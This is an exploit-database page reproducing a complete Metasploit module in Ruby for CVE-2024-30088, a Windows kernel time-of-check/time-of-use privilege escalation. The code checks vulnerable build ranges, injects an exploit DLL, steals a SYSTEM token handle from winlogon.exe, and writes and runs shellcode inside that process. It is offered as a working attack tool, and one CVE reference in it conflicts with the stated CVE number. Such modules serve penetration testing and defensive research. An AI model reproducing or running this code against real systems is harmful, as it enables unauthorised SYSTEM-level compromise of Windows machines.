Microsoft Windows TOCTOU Local Privilege Escalation

2024.09.18
Credit: jheysel-r7
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Post::Windows::Version include Msf::Exploit::Retry prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes', 'Description' => %q{ CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10, Windows 11 and Windows Server 2022. The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and `AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function. }, 'Author' => [ 'tykawaii98', # PoC (Bùi Quang Hiếu) 'jheysel-r7' # msf module ], 'References' => [ [ 'URL', 'https://github.com/tykawaii98/CVE-2024-30088'], [ 'CVE', '2024-30038'] ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Privileged' => true, 'SessionTypes' => [ 'meterpreter' ], 'Arch' => [ ARCH_X64 ], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DisclosureDate' => '2024-06-11', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], 'Reliability' => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail. }, # After the first run the original session will usually die if the module is rerun against the same session. 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_sys_process_get_processes stdapi_railgun_api stdapi_sys_process_memory_allocate stdapi_sys_process_memory_protect stdapi_sys_process_memory_read stdapi_sys_process_memory_write ] } } ) ) end def target_compatible?(version) # NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected. return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new('10.0.10240.20680')) || version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new('10.0.14393.7070')) || version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new('10.0.17763.5936')) || version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new('10.0.19044.4529')) || version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new('10.0.19045.4529')) || version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new('10.0.22000.3019')) || version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new('10.0.22621.3737')) || version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new('10.0.22631.3737')) || version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new('10.0.20348.2522')) || version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new('10.0.25398.950')) false end def check return Exploit::CheckCode::Safe('Non Windows systems are not affected') unless session.platform == 'windows' version = get_version_info return Exploit::CheckCode::Appears("Version detected: #{version}") if target_compatible?(version) CheckCode::Safe("Version detected: #{version}") end def get_winlogon_pid processes = client.sys.process.get_processes winlogon_pid = nil processes.each do |process| if process['name'].downcase == 'winlogon.exe' winlogon_pid = process['pid'] break end end winlogon_pid end def get_winlogon_handle pid = session.sys.process.getpid process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) address = process_handle.memory.allocate(8) thread = execute_dll( ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'), address, pid ) calls = [ ['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ], ['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ], ] results = session.railgun.multi(calls) winlogon_handle = nil if results.last['lpExitCode'] == 0 print_good('The exploit was successful, reading SYSTEM token from memory...') current_memory = process_handle.memory.read(address, 8) winlogon_handle = current_memory.unpack('Q<').first end session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE) winlogon_handle end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end version = get_version_info unless target_compatible?(version) fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}") end winlogon_handle = get_winlogon_handle fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon handle') unless winlogon_handle print_good("Successfully stole winlogon handle: #{winlogon_handle}") winlogon_pid = get_winlogon_pid fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon pid') unless winlogon_pid print_good("Successfully retrieved winlogon pid: #{winlogon_pid}") host = session.sys.process.new(winlogon_pid, winlogon_handle) shellcode = payload.encoded shell_addr = host.memory.allocate(shellcode.length) host.memory.protect(shell_addr) if host.memory.write(shell_addr, shellcode) < shellcode.length fail_with(Failure::UnexpectedReply, 'Failed to write shellcode') end vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})") thread = host.thread.create(shell_addr, 0) unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread) fail_with(Failure::UnexpectedReply, 'Unable to create thread') end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top